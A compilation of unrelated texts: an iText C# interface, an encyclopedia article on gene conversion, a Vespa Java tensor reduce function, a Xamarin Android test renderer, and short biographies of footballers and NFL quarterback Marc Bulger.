Rhian Morgan may refer to:
in August (1996 film)
Rhian Morgan (singer) with The Morgan Twins
|
```smalltalk
/*
This file is part of the iText (R) project.
Authors: Apryse Software.
This program is offered under a commercial and under the AGPL license.
For commercial licensing, contact us at path_to_url For AGPL licensing, see below.
AGPL licensing:
This program is free software: you can redistribute it and/or modify
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
along with this program. If not, see <path_to_url
*/
namespace iText.Commons.Bouncycastle.Asn1 {
/// <summary>
/// This interface represents the wrapper for DEROctetString that provides the ability
/// to switch between bouncy-castle and bouncy-castle FIPS implementations.
/// </summary>
public interface IDerOctetString : IAsn1OctetString {
}
}
```
|
Gene conversion is the process by which one DNA sequence replaces a homologous sequence such that the sequences become identical after the conversion event. Gene conversion can be either allelic, meaning that one allele of the same gene replaces another allele, or ectopic, meaning that one paralogous DNA sequence converts another.
Allelic gene conversion
Allelic gene conversion occurs during meiosis when homologous recombination between heterozygotic sites results in a mismatch in base pairing. This mismatch is then recognized and corrected by the cellular machinery causing one of the alleles to be converted to the other. This can cause non-Mendelian segregation of alleles in germ cells.
Nonallelic/ectopic gene conversion
Recombination occurs not only during meiosis, but also as a mechanism for repair of double-strand breaks (DSBs) caused by DNA damage. These DSBs are usually repaired using the sister chromatid of the broken duplex and not the homologous chromosome, so they would not result in allelic conversion. Recombination also occurs between homologous sequences present at different genomic loci (paralogous sequences) which have resulted from previous gene duplications. Gene conversion occurring between paralogous sequences (ectopic gene conversion) is conjectured to be responsible for concerted evolution of gene families.
Mechanism
Conversion of one allele to the other is often due to base mismatch repair during homologous recombination: if one of the four chromatids during meiosis pairs up with another chromatid, as can occur because of sequence homology, DNA strand transfer can occur followed by mismatch repair. This can alter the sequence of one of the chromosomes, so that it is identical to the other.
Meiotic recombination is initiated through formation of a double-strand break (DSB). The 5’ ends of the break are then degraded, leaving long 3’ overhangs of several hundred nucleotides. One of these 3’ single stranded DNA segments then invades a homologous sequence on the homologous chromosome, forming an intermediate which can be repaired through different pathways resulting either in crossovers (CO) or noncrossovers (NCO). At various steps of the recombination process, heteroduplex DNA (double-stranded DNA consisting of single strands from each of the two homologous chromosomes which may or may not be perfectly complementary) is formed. When mismatches occur in heteroduplex DNA, the sequence of one strand will be repaired to bind the other strand with perfect complementarity, leading to the conversion of one sequence to another. This repair process can follow either of two alternative pathways as illustrated in the Figure. By one pathway, a structure called a double Holliday junction (DHJ) is formed, leading to the exchange of DNA strands. By the other pathway, referred to as Synthesis Dependent Strand Annealing (SDSA), there is information exchange but not physical exchange. Gene conversion will occur during SDSA if the two DNA molecules are heterozygous at the site of the recombinational repair. Gene conversion may also occur during recombinational repair involving a DHJ, and this gene conversion may be associated with physical recombination of the DNA duplexes on the two sides of the DHJ.
Biased vs. unbiased gene conversion
Biased gene conversion (BGC) occurs when one allele has a higher probability of being the donor than the other in a gene conversion event. For example, when a T:G mismatch occurs, it would be more or less likely to be corrected to a C:G pair than a T:A pair. This gives that allele a higher probability of transmission to the next generation. Unbiased gene conversion means that both possibilities occur with equal probability.
GC-biased gene conversion
GC-biased gene conversion (gBGC) is the process by which the GC content of DNA increases due to gene conversion during recombination. Evidence for gBGC exists for yeasts and humans and the theory has more recently been tested in other eukaryotic lineages. In analyzed human DNA sequences, crossover rate has been found to correlate positively with GC-content. The pseudoautosomal regions (PAR) of the X and Y chromosomes in humans, which are known to have high recombination rates also have high GC contents. Certain mammalian genes undergoing concerted evolution (for example, ribosomal operons, tRNAs, and histone genes) are very GC-rich. It has been shown that GC content is higher in paralogous human and mouse histone genes that are members of large subfamilies (presumably undergoing concerted evolution) than in paralogous histone genes with relatively unique sequences.
There is also evidence for GC bias in the mismatch repair process. It is thought that this may be an adaptation to the high rate of methyl-cytosine deamination which can lead to C→T transitions.
BGC of the Fxy gene in Mus musculus
The Fxy or Mid1 gene in some mammals closely related to house mice (humans, rats, and other Mus species) is located in the sex-linked region of the X chromosome. However, in Mus musculus, it has recently translocated such that the 3’ end of the gene overlaps with the PAR region of the X-chromosome, which is known to be a recombination hotspot. This portion of the gene has experienced a dramatic increase in GC content and substitution rate at the 3rd codon position as well as in introns but the 5’ region of the gene, which is X-linked, has not. Because this effect is present only in the region of the gene experiencing increased recombination rate, it must be due to biased gene conversion and not selective pressure.
Impact of GC-biased gene conversion on human genomic patterns
GC content varies widely in the human genome (40–80%), but there seem to be large sections of the genome where GC content is, on average, higher or lower than in other regions. These regions, although not always showing clear boundaries, are known as isochores. One possible explanation for the presence of GC-rich isochores is that they evolved due to GC-biased gene conversion in regions with high levels of recombination.
Evolutionary importance
Adaptive function of recombination
Studies of gene conversion have contributed to our understanding of the adaptive function of meiotic recombination. The ordinary segregation pattern of an allele pair (Aa) among the 4 products of meiosis is 2A:2a. Detection of infrequent gene conversion events (e.g. 3:1 or 1:3 segregation patterns during individual meioses) provides insight into the alternate pathways of recombination leading either to crossover or non-crossover chromosomes. Gene conversion events are thought to arise where the “A” and “a” alleles happen to be near the exact location of a molecular recombination event. Thus, it is possible to measure the frequency with which gene conversion events are associated with crossover or non-crossover of chromosomal regions adjacent to, but outside, the immediate conversion event. Numerous studies of gene conversion in various fungi (which are especially suited for such studies) have been carried out, and the findings of these studies have been reviewed by Whitehouse. It is clear from this review that most gene conversion events are not associated with outside marker exchange. Thus, most gene conversion events in the several different fungi studied are associated with non-crossover of outside markers. Non-crossover gene conversion events are mainly produced by Synthesis Dependent Strand Annealing (SDSA). This process involves limited informational exchange, but not physical exchange of DNA, between the two participating homologous chromosomes at the site of the conversion event, and little genetic variation is produced. Thus, explanations for the adaptive function of meiotic recombination that focus exclusively on the adaptive benefit of producing new genetic variation or physical exchange seem inadequate to explain the majority of recombination events during meiosis. However, the majority of meiotic recombination events can be explained by the proposal that they are an adaptation for repair of damage in the DNA that is to be passed on to gametes.
Of particular interest, from the point of view that recombination is an adaptation for DNA repair, are the studies in yeast showing that gene conversion in mitotic cells is increased by UV and ionizing radiation
Genetic diseases of humans
In the discussions of genetic diseases in humans, pseudogene mediated gene conversions that introduce pathogenic mutations into functional genes is a well known mechanism of mutation. In contrast, it is possible that pseudogenes could serve as templates. During the course of evolution, functional source genes which are potentially advantageous have been derived from multiple copies in their single source gene. The pseudogene-templated changes might eventually become fixed as long as they did not possess deleterious effects. So, in fact, pseudogenes can act as sources of sequence variants which can be transferred to functional genes in novel combinations and can be acted upon by selection. Lectin 11 (SIGLEC11), a human immunoglobulin that binds to sialic acid, can be considered an example of such a gene conversion event which has played a significant role in evolution. While comparing the homologous genes of human SIGLEC11 and its pseudogene in the chimpanzee, gorilla and orangutan, it appears that there was gene conversion of the sequence of 5’ upstream regions and the exons that encode the sialic acid recognition domain, approximately 2kbp from the closely flanking hSIGLECP16 pseudogene (Hayakawa et al., 2005). The three pieces of evidence concerning this event have together suggested this as an adaptive change which is very evolutionarily important in genus Homo. Those includes that only in human lineage this gene conversion happened, the brain cortex has acquired an important expression of SIGLEC11 specifically in human lineage and the exhibition of a change in substrate binding in human lineage when compared to that of its counterpart in chimpanzees. Of course the frequency of the contribution of this pseudogene-mediated gene conversion mechanism to functional and adaptive changes in evolution of human is still unknown and so far it has been scarcely explored. In spite of that, the introduction of positively selective genetic changes by such mechanism can be put forward for consideration by the example of SIGLEC11. Sometimes due to interference of transposable elements in to some members of a gene family, it causes a variation among them and finally it may also cease the rate of gene conversion due to lack of sequence similarity which leads to divergent evolution.
Genomic analysis
From various genome analyses, it was concluded that the double-strand breaks (DSB) can be repaired via homologous recombination by at least two different but related pathways. In case of major pathway, homologous sequences on both sides of the DSB will be employed which seems to be analogous to the conservative DSB repair model that was originally proposed for meiotic recombination in yeast. where as the minor pathway is restricted to only one side of the DSB as postulated by nonconservative one-sided invasion model. However, in both cases the sequence of the recombination partners will be absolutely conserved. By virtue of their high degree of homology, the new gene copies that came into existence following the gene duplication naturally tend to either unequal crossover or unidirectional gene conversion events. In the latter process, there exists the acceptor and donor sequences and the acceptor sequence will be replaced by a sequence copied from the donor, while the sequence of the donor remains unchanged.
The effective homology between the interacting sequences makes the gene conversion event successful. Additionally, the frequency of gene conversion is inversely proportional to the distance between the interacting sequences in cis, and the rate of gene conversion is usually directly proportional to the length of uninterrupted sequence tract in the assumed converted region. It seems that conversion tracts accompanying crossover are longer (mean length = ~460 bp) than conversion tracts without crossover (mean length = 55–290 bp). In the studies of human globulin genes, it has long been supported that the gene conversion event or branch migration events can either be promoted or inhibited by the specific motifs that exist in the vicinity of the DNA sequence (Papadakis and Patrinos, 1999). Another basic classification of gene conversion events is the interlocus (also called nonallelic) and interallelic gene conversions. The cis or trans nonallelic or interlocus gene conversion events occur between nonallelic gene copies residing on sister chromatids or homologous chromosomes, and, in case of interallelic, the gene conversion events take place between alleles residing on homologous chromosomes (Adapted from Chen et al., (2007). If the interlocus gene conversion events are compared, it will be frequently revealed that they exhibit biased directionality. Sometimes, such as in case of human globin genes (Papadakis and Patrinos, 1999), the gene conversion direction correlates with the relative expression levels of the genes that participate in the event, with the gene expressed at higher level, called the ‘master’ gene, converting that with lower expression, called the ‘slave’ gene. Originally formulated in an evolutionary context, the ‘master/slave gene’ rule should be explained with caution. In fact, the increase in gene transcription exhibits not only the increase in likelihood of it to be used as a donor but also as an acceptor.
Effect
Normally, an organism that has inherited different copies of a gene from each of its parents is called heterozygous. This is generically represented as genotype: Aa (i.e. one copy of variant (allele) 'A', and one copy of allele 'a'). When a heterozygote creates gametes by meiosis, the alleles normally duplicate and end up in a 2:2 ratio in the resulting 4 cells that are the direct products of meiosis. However, in gene conversion, a ratio other than the expected 2A:2a is observed, in which are the two alleles. Examples are 3A:1a and 1A:3a. In other words, there can, for example, be three times as many A alleles as expressed in the daughter cells, as is the case in 3A:1a.
Medical relevance
Gene conversion resulting in mutation of the CYP21A2 gene is a common underlying genetic cause of congenital adrenal hyperplasia. Somatic gene conversion is one of the mechanisms that can result in familial retinoblastoma, a congenital cancer of the retina, and it is theorized that gene conversion may play a role in the development of Huntington's disease.
References
External links
images: http://www.web-books.com/MoBio/Free/Ch8D4.htm and http://www.web-books.com/MoBio/Free/Ch8D2.htm
Genes
Modification of genetic information
Molecular evolution
|
```java
package com.yahoo.tensor.functions;
import com.yahoo.tensor.DimensionSizes;
import com.yahoo.tensor.DirectIndexedAddress;
import com.yahoo.tensor.IndexedTensor;
import com.yahoo.tensor.Tensor;
import com.yahoo.tensor.TensorAddress;
import com.yahoo.tensor.TensorType;
import com.yahoo.tensor.TypeResolver;
import com.yahoo.tensor.evaluation.EvaluationContext;
import com.yahoo.tensor.evaluation.Name;
import com.yahoo.tensor.evaluation.TypeContext;
import com.yahoo.tensor.impl.Convert;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
/**
* The <i>reduce</i> tensor operation returns a tensor produced from the argument tensor where some dimensions
* are collapsed to a single value using an aggregator function.
*
* @author bratseth
*/
public class Reduce<NAMETYPE extends Name> extends PrimitiveTensorFunction<NAMETYPE> {
public enum Aggregator { avg, count, max, median, min, prod, sum ; }
private final TensorFunction<NAMETYPE> argument;
private final List<String> dimensions;
private final Aggregator aggregator;
/** Creates a reduce function reducing all dimensions */
public Reduce(TensorFunction<NAMETYPE> argument, Aggregator aggregator) {
this(argument, aggregator, List.of());
}
/** Creates a reduce function reducing a single dimension */
public Reduce(TensorFunction<NAMETYPE> argument, Aggregator aggregator, String dimension) {
this(argument, aggregator, List.of(dimension));
}
/**
* Creates a reduce function.
*
* @param argument the tensor to reduce
* @param aggregator the aggregator function to use
* @param dimensions the list of dimensions to remove. If an empty list is given, all dimensions are reduced,
* producing a dimensionless tensor (a scalar).
* @throws IllegalArgumentException if any of the tensor dimensions are not present in the input tensor
*/
public Reduce(TensorFunction<NAMETYPE> argument, Aggregator aggregator, List<String> dimensions) {
this.argument = Objects.requireNonNull(argument, "The argument tensor cannot be null");
this.aggregator = Objects.requireNonNull(aggregator, "The aggregator cannot be null");
this.dimensions = List.copyOf(dimensions);
}
public static TensorType outputType(TensorType inputType, List<String> reduceDimensions) {
return TypeResolver.reduce(inputType, reduceDimensions);
}
public TensorFunction<NAMETYPE> argument() { return argument; }
Aggregator aggregator() { return aggregator; }
List<String> dimensions() { return dimensions; }
@Override
public List<TensorFunction<NAMETYPE>> arguments() { return List.of(argument); }
@Override
public TensorFunction<NAMETYPE> withArguments(List<TensorFunction<NAMETYPE>> arguments) {
if ( arguments.size() != 1)
throw new IllegalArgumentException("Reduce must have 1 argument, got " + arguments.size());
return new Reduce<>(arguments.get(0), aggregator, dimensions);
}
@Override
public PrimitiveTensorFunction<NAMETYPE> toPrimitive() {
return new Reduce<>(argument.toPrimitive(), aggregator, dimensions);
}
@Override
public String toString(ToStringContext<NAMETYPE> context) {
return "reduce(" + argument.toString(context) + ", " + aggregator + commaSeparatedNames(dimensions, context) + ")";
}
static <NAMETYPE extends Name> String commaSeparatedNames(List<String> list, ToStringContext<NAMETYPE> context) {
StringBuilder b = new StringBuilder();
for (String element : list)
b.append(", ").append(context.resolveBinding(element));
return b.toString();
}
@Override
public TensorType type(TypeContext<NAMETYPE> context) {
List<String> resolvedDimensions = dimensions.stream().map(d -> context.resolveBinding(d)).toList();
return outputType(argument.type(context), resolvedDimensions);
}
@Override
public Tensor evaluate(EvaluationContext<NAMETYPE> context) {
return evaluate(this.argument.evaluate(context), dimensions, aggregator);
}
@Override
public int hashCode() {
return Objects.hash("reduce", argument, dimensions, aggregator);
}
static Tensor evaluate(Tensor argument, List<String> dimensions, Aggregator aggregator) {
if (!dimensions.isEmpty() && !argument.type().dimensionNames().containsAll(dimensions))
throw new IllegalArgumentException("Cannot reduce " + argument + " over dimensions " +
dimensions + ": Not all those dimensions are present in this tensor");
// Special case: Reduce all
if (dimensions.isEmpty() || dimensions.size() == argument.type().dimensions().size()) {
if (argument.isEmpty())
return Tensor.from(0.0);
else if (argument.type().dimensions().size() == 1 && argument instanceof IndexedTensor)
return reduceIndexedVector((IndexedTensor) argument, aggregator);
else
return reduceAllGeneral(argument, aggregator);
}
TensorType reducedType = outputType(argument.type(), dimensions);
int[] indexesToReduce = createIndexesToReduce(argument.type(), dimensions);
int[] indexesToKeep = createIndexesToKeep(argument.type(), indexesToReduce);
if (argument instanceof IndexedTensor indexedTensor && reducedType.hasOnlyIndexedBoundDimensions()) {
return reduceIndexedTensor(indexedTensor, reducedType, indexesToKeep, indexesToReduce, aggregator);
} else {
return reduceGeneral(argument, reducedType, indexesToKeep, aggregator);
}
}
private static void reduce(IndexedTensor argument, ValueAggregator aggregator, DirectIndexedAddress address, int[] reduce, int reduceIndex) {
int currentIndex = reduce[reduceIndex];
int dimSize = Convert.safe2Int(argument.dimensionSizes().size(currentIndex));
if (reduceIndex + 1 < reduce.length) {
int nextDimension = reduceIndex + 1;
for (int i = 0; i < dimSize; i++) {
address.setIndex(currentIndex, i);
reduce(argument, aggregator, address, reduce, nextDimension);
}
} else {
address.setIndex(currentIndex, 0);
long increment = address.getStride(currentIndex);
long directIndex = address.getDirectIndex();
for (int i = 0; i < dimSize; i++) {
aggregator.aggregate(argument.get(directIndex + i * increment));
}
}
}
private static void reduce(IndexedTensor.Builder builder, DirectIndexedAddress destAddress, IndexedTensor argument, Aggregator aggregator, DirectIndexedAddress address, int[] toKeep, int keepIndex, int[] toReduce) {
if (keepIndex < toKeep.length) {
int currentIndex = toKeep[keepIndex];
int dimSize = Convert.safe2Int(argument.dimensionSizes().size(currentIndex));
int nextKeep = keepIndex + 1;
for (int i = 0; i < dimSize; i++) {
address.setIndex(currentIndex, i);
destAddress.setIndex(keepIndex, i);
reduce(builder, destAddress, argument, aggregator, address, toKeep, nextKeep, toReduce);
}
} else {
ValueAggregator valueAggregator = ValueAggregator.ofType(aggregator);
reduce(argument, valueAggregator, address, toReduce, 0);
builder.cell(valueAggregator.aggregatedValue(), destAddress.getIndexes());
}
}
private static Tensor reduceIndexedTensor(IndexedTensor argument, TensorType reducedType, int[] indexesToKeep, int[] indexesToReduce, Aggregator aggregator) {
var reducedBuilder = IndexedTensor.Builder.of(reducedType);
DirectIndexedAddress reducedAddress = DirectIndexedAddress.of(DimensionSizes.of(reducedType));
reduce(reducedBuilder, reducedAddress, argument, aggregator, argument.directAddress(), indexesToKeep, 0, indexesToReduce);
return reducedBuilder.build();
}
private static Tensor reduceGeneral(Tensor argument, TensorType reducedType, int[] indexesToKeep, Aggregator aggregator) {
// TODO cells.size() is most likely an overestimate, and might need a better heuristic
// But the upside is larger than the downside.
Map<TensorAddress, ValueAggregator> aggregatingCells = new HashMap<>(argument.sizeAsInt());
for (Iterator<Tensor.Cell> i = argument.cellIterator(); i.hasNext(); ) {
Map.Entry<TensorAddress, Double> cell = i.next();
TensorAddress reducedAddress = cell.getKey().partialCopy(indexesToKeep);
ValueAggregator aggr = aggregatingCells.computeIfAbsent(reducedAddress, (key) ->ValueAggregator.ofType(aggregator));
aggr.aggregate(cell.getValue());
}
Tensor.Builder reducedBuilder = Tensor.Builder.of(reducedType);
for (Map.Entry<TensorAddress, ValueAggregator> aggregatingCell : aggregatingCells.entrySet())
reducedBuilder.cell(aggregatingCell.getKey(), aggregatingCell.getValue().aggregatedValue());
return reducedBuilder.build();
}
private static int[] createIndexesToReduce(TensorType tensorType, List<String> dimensions) {
int[] indexesToReduce = new int[dimensions.size()];
for (int i = 0; i < dimensions.size(); i++) {
indexesToReduce[i] = tensorType.indexOfDimension(dimensions.get(i)).get();
}
return indexesToReduce;
}
private static int[] createIndexesToKeep(TensorType argumentType, int[] indexesToReduce) {
int[] indexesToKeep = new int[argumentType.rank() - indexesToReduce.length];
int toKeepIndex = 0;
for (int i = 0; i < argumentType.rank(); i++) {
if ( ! contains(indexesToReduce, i))
indexesToKeep[toKeepIndex++] = i;
}
return indexesToKeep;
}
private static boolean contains(int[] list, int key) {
for (int candidate : list) {
if (candidate == key) return true;
}
return false;
}
private static Tensor reduceAllGeneral(Tensor argument, Aggregator aggregator) {
ValueAggregator valueAggregator = ValueAggregator.ofType(aggregator);
for (Iterator<Double> i = argument.valueIterator(); i.hasNext(); )
valueAggregator.aggregate(i.next());
return Tensor.Builder.of(TensorType.empty).cell(valueAggregator.aggregatedValue()).build();
}
private static Tensor reduceIndexedVector(IndexedTensor argument, Aggregator aggregator) {
ValueAggregator valueAggregator = ValueAggregator.ofType(aggregator);
int dimensionSize = Convert.safe2Int(argument.dimensionSizes().size(0));
for (int i = 0; i < dimensionSize ; i++)
valueAggregator.aggregate(argument.get(i));
return Tensor.Builder.of(TensorType.empty).cell(valueAggregator.aggregatedValue()).build();
}
static abstract class ValueAggregator {
static ValueAggregator ofType(Aggregator aggregator) {
return switch (aggregator) {
case avg -> new AvgAggregator();
case count -> new CountAggregator();
case max -> new MaxAggregator();
case median -> new MedianAggregator();
case min -> new MinAggregator();
case prod -> new ProdAggregator();
case sum -> new SumAggregator();
default -> throw new UnsupportedOperationException("Aggregator " + aggregator + " is not implemented");
};
}
/** Add a new value to those aggregated by this */
public abstract void aggregate(double value);
/** Returns the value aggregated by this */
public abstract double aggregatedValue();
/** Resets the aggregator */
public abstract void reset();
/** Returns a hash of this aggregator which only depends on its identity */
@Override
public abstract int hashCode();
}
private static class AvgAggregator extends ValueAggregator {
private int valueCount = 0;
private double valueSum = 0.0;
@Override
public void aggregate(double value) {
valueCount++;
valueSum+= value;
}
@Override
public double aggregatedValue() {
return valueSum / valueCount;
}
@Override
public void reset() {
valueCount = 0;
valueSum = 0.0;
}
@Override
public int hashCode() { return "avgAggregator".hashCode(); }
}
private static class CountAggregator extends ValueAggregator {
private int valueCount = 0;
@Override
public void aggregate(double value) {
valueCount++;
}
@Override
public double aggregatedValue() {
return valueCount;
}
@Override
public void reset() {
valueCount = 0;
}
@Override
public int hashCode() { return "countAggregator".hashCode(); }
}
private static class MaxAggregator extends ValueAggregator {
private double maxValue = Double.NEGATIVE_INFINITY;
@Override
public void aggregate(double value) {
if (value > maxValue)
maxValue = value;
}
@Override
public double aggregatedValue() {
return maxValue;
}
@Override
public void reset() {
maxValue = Double.NEGATIVE_INFINITY;
}
@Override
public int hashCode() { return "maxAggregator".hashCode(); }
}
private static class MedianAggregator extends ValueAggregator {
/** If any NaN is added, the result should be NaN */
private boolean isNaN = false;
private List<Double> values = new ArrayList<>();
@Override
public void aggregate(double value) {
if ( Double.isNaN(value))
isNaN = true;
if ( ! isNaN)
values.add(value);
}
@Override
public double aggregatedValue() {
if (isNaN || values.isEmpty()) return Double.NaN;
Collections.sort(values);
if (values.size() % 2 == 0) // even: average the two middle values
return ( values.get(values.size() / 2 - 1) + values.get(values.size() / 2) ) / 2;
else
return values.get((values.size() - 1)/ 2);
}
@Override
public void reset() {
isNaN = false;
values = new ArrayList<>();
}
@Override
public int hashCode() { return "medianAggregator".hashCode(); }
}
private static class MinAggregator extends ValueAggregator {
private double minValue = Double.POSITIVE_INFINITY;
@Override
public void aggregate(double value) {
if (value < minValue)
minValue = value;
}
@Override
public double aggregatedValue() {
return minValue;
}
@Override
public void reset() {
minValue = Double.POSITIVE_INFINITY;
}
@Override
public int hashCode() { return "minAggregator".hashCode(); }
}
private static class ProdAggregator extends ValueAggregator {
private double valueProd = 1.0;
@Override
public void aggregate(double value) {
valueProd *= value;
}
@Override
public double aggregatedValue() {
return valueProd;
}
@Override
public void reset() {
valueProd = 1.0;
}
@Override
public int hashCode() { return "prodAggregator".hashCode(); }
}
private static class SumAggregator extends ValueAggregator {
private double valueSum = 0.0;
@Override
public void aggregate(double value) {
valueSum += value;
}
@Override
public double aggregatedValue() {
return valueSum;
}
@Override
public void reset() {
valueSum = 0.0;
}
@Override
public int hashCode() { return "sumAggregator".hashCode(); }
}
}
```
|
```smalltalk
using System;
using Android.Content;
using Android.OS;
using Xamarin.Forms;
using Xamarin.Forms.ControlGallery.Android;
using Xamarin.Forms.Controls.Issues;
using Xamarin.Forms.Platform.Android;
using AView = Android.Views.View;
[assembly: ExportRenderer(typeof(Bugzilla57114._57114View), typeof(_57114CustomRenderer))]
namespace Xamarin.Forms.ControlGallery.Android
{
public class _57114CustomRenderer : Platform.Android.AppCompat.ViewRenderer<Bugzilla57114._57114View, _57114NativeView>
{
public _57114CustomRenderer(Context context) : base(context)
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Bugzilla57114._57114View> e)
{
if (e.NewElement != null && Control == null)
{
var view = new _57114NativeView(Context);
SetNativeControl(view);
}
base.OnElementChanged(e);
}
}
public class _57114NativeView : global::Android.Views.View
{
public _57114NativeView(Context context)
: base(context)
{
Touch += OnTouch;
}
void OnTouch(object sender, AView.TouchEventArgs e)
{
MessagingCenter.Send(this as object, Bugzilla57114._57114NativeGestureFiredMessage);
e.Handled = false;
}
}
}
```
|
Andrés Palacios Cardona (born 13 June 2005) is a Spanish footballer who plays as a midfielder for UE Cornellà.
Club career
Born in Ibiza, Balearic Islands, Palacios is a youth product of hometown side UD Ibiza. He was an important unit of their Juvenil side during the 2021–22 season, netting 16 goals as the side achieved promotion to the Liga Nacional Juvenil de Fútbol.
Palacios made his first team – and professional – debut at the age of 17 on 20 May 2023, coming on as a late substitute for Cristian Herrera in a 1–0 Segunda División home win over Real Zaragoza, as Ibiza were already relegated.
Personal life
Palacios' father, also named Andrés, is the Head of Dermatology at the Can Misses Hospital.
References
External links
2005 births
Living people
Footballers from Ibiza
Spanish men's footballers
Men's association football midfielders
Segunda División players
UD Ibiza players
UE Cornellà players
|
Marc Robert Bulger (; born April 5, 1977) is an American former professional football player who was a quarterback in the National Football League (NFL) for eleven seasons, primarily with the St. Louis Rams. He was drafted by the New Orleans Saints in the sixth round of the 2000 NFL Draft and was also a member of the Atlanta Falcons and Baltimore Ravens, but played the entirety of his regular season career with the Rams.
College career
Bulger played college football at West Virginia University. He was a sport management major.
College statistics
Professional career
New Orleans Saints/Atlanta Falcons
Bulger was selected by the New Orleans Saints in the sixth round of the 2000 NFL Draft, 168th overall, and spent training camp with the team before being waived. He was the fifth quarterback taken in the draft and one of the six taken before Tom Brady.
Bulger then spent two weeks on the practice squad of the Atlanta Falcons during the 2000 season.
St. Louis Rams
After spending time on the St. Louis Rams practice squad late in the 2000 season, Bulger was re-signed by the Rams on January 12, 2001. Bulger did not see action in any contests during his first season with the Rams; he was inactive as the third quarterback for 16 regular season games and all three postseason contests.
2002 season
In 2002, after the Rams started 0–5, Bulger filled in for an injured Jamie Martin, who had been filling in for the injured Kurt Warner. Bulger finished the season with a 6–0 record in games that he both started and finished, but he was injured early in a game against the Seattle Seahawks, and the Rams ended the season at 7–9.
2003 season
Bulger entered the 2003 season as Warner's backup, but was promoted to No. 1 on the depth chart after Warner committed five turnovers and suffered a concussion in an opening week loss to the New York Giants. Bulger then led the Rams to a regular-season record of 12–4, securing the NFC West title and a first-round bye. The Rams went on to lose a double-overtime thriller to the eventual NFC Champion Carolina Panthers in the divisional round of the playoffs. Bulger made the Pro Bowl where he was the game's MVP.
2004 season
Bulger's performance in 2003 solidified his position as the Rams' starting quarterback. Warner was released in June 2004, and the Rams signed Bulger to a four-year, $19.1 million contract. The Rams went 8–8 in 2004, narrowly losing the division to the heavily favored Seattle Seahawks, but earned a wild-card berth in a mediocre NFC.
The Rams defeated Seattle for a third time in the wild-card round, but lost the following week at the hands of the Atlanta Falcons in the Divisional Round by a wide 17–47 margin.
2005 season
On October 17, against the Indianapolis Colts, Bulger injured his right shoulder. After missing two games, he returned to the field on November, 20 against the Arizona Cardinals where he re-injured his shoulder. He was then placed on IR on Christmas Day in 2005. He finished the 2005 season with 14 Touchdowns, 9 Interceptions and a 94.4 passer rating.
2006 season
On September 10, 2006, in a game against the Denver Broncos, Bulger reached 1,000 completions faster than any quarterback in NFL history. Bulger achieved this in 45 games, two games less than ex-Rams QB Kurt Warner. Drew Bledsoe and Peyton Manning needed 48 games, and it took Dan Marino 49.
2007 season
On July 28, 2007, Bulger signed a six-year, $62.5 million contract extension with the Rams, making him the highest-paid player in Rams history. The contract included $27 million in guaranteed money and put him in a group of six quarterbacks making $10 million a year or more. Bulger had one year remaining on a four-year, $19.1 million contract, which would have paid him $4 million in 2007. In the 2007 season, Bulger was plagued with injuries through the entire season as was the entire team. Injuries on the offensive line took effect as he threw more interceptions than touchdowns for the first time in his career. He was considered one of the biggest disappointments of the season, which saw the Rams slump to 3–13.
2008 season
On September 23, 2008, after starting 0–3, Bulger lost his starting role to Trent Green. However, seven days later, new head coach Jim Haslett named Marc Bulger the starting quarterback for the rest of the season.
On November 9, 2008 vs the Jets, Haslett replaced Bulger with Green after halftime after the Jets took a 40–0 lead in the first half, cued by four first half Rams turnovers.
A week later he was put back in as starting quarterback. His performances improved slightly as the year went on, but he still turned in another lackluster season with more interceptions than touchdowns and continuously declining completion percentages.
2009 season
Bulger was placed on season-ending injured reserve on December 26, 2009, as the Rams slumped to a franchise-worst 1–15 record, and a 6–42 record for the three seasons from 2007 to 2009. He had thrown just five touchdown passes during the 2009 season, although his statistics remained where they had been in 2007 and 2008, apart from an improved interception percentage of 2.4 percent vis-à-vis 4 percent.
Bulger asked for, and was granted, his release by the Rams on April 5, 2010, his 33rd birthday.
Baltimore Ravens
On June 23, 2010, Bulger reached an agreement with the Baltimore Ravens on a one-year, $3.8 million deal that also had the possibility of increasing to $5.8 million through incentives. However, Bulger spent the entire season backing up Joe Flacco and never played a single snap.
Retirement
Although several teams were interested in signing him, Bulger announced his retirement from football on August 2, 2011.
NFL career statistics
Regular Season
Personal life
Bulger was born in Pittsburgh, Pennsylvania and graduated from Sacred Heart Middle School and Central Catholic High School in Pittsburgh. He comes from a family of collegiate athletes. His father, Jim, was a quarterback for Notre Dame from 1970–73. His brother Jim was on the Notre Dame golf team, sister Kate was drafted into the WNBA, and youngest sister Meg was a standout guard for his alma mater, West Virginia. Bulger married Mavis Armbruster and has two daughters. His mother is of Irish descent. , he now lives in Brentwood, Tennessee.
Since retirement, Bulger has picked up the sport of curling. He played in the 2018 Curl Mesabi Classic, which is an event of the World Curling Tour. He threw lead rocks for the John Benton team, which included fellow former football player Jared Allen.
References
External links
1977 births
Living people
American football quarterbacks
Atlanta Falcons players
Baltimore Ravens players
National Conference Pro Bowl players
New Orleans Saints players
Players of American football from Pittsburgh
Players of American football from St. Louis
St. Louis Rams players
West Virginia Mountaineers football players
Central Catholic High School (Pittsburgh) alumni
|
Dieter Erler (28 May 1939 in Glauchau – 10 April 1998 in Chemnitz) was a German footballer.
He began his footballing career with BSG Chemie Glauchau in 1953. He was transferred to BSG Wismut Gera for the 1957 season and then after two seasons moved to sports club SC Wismut Karl-Marx-Stadt in January 1959. Erler was both a playmaker and a goalscoring midfielder.
In 1963, Erler moved to SC Karl-Marx-Stadt, where he played alongside the player described by Pelé as the best left-winger in the world at the time: Eberhard Vogel. In 1966–67 the team was crowned DDR-Oberliga champion.
Between 1959 and 1972 he played for SC Wismut Karl-Marx-Stadt and then FC Karl-Marx-Stadt. During his career he gained between 1959 and 1968 47 international caps and scored 12 goals for East Germany.
He was voted GDR footballer of the year in 1967.
Career statistics
Club
International
International goals
Scores and results list East Germany's goal tally first.
Honours
Club
SC Wismut Karl-Marx-Stadt
DDR-Oberliga: 1959
Individual
GDR Player of the Year: 1967
References
1939 births
1998 deaths
People from Glauchau
German men's footballers
East German men's footballers
East Germany men's international footballers
FC Erzgebirge Aue players
Chemnitzer FC players
Chemnitzer FC managers
East German football managers
DDR-Oberliga players
Men's association football midfielders
Footballers from Saxony
|
```java
/**
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
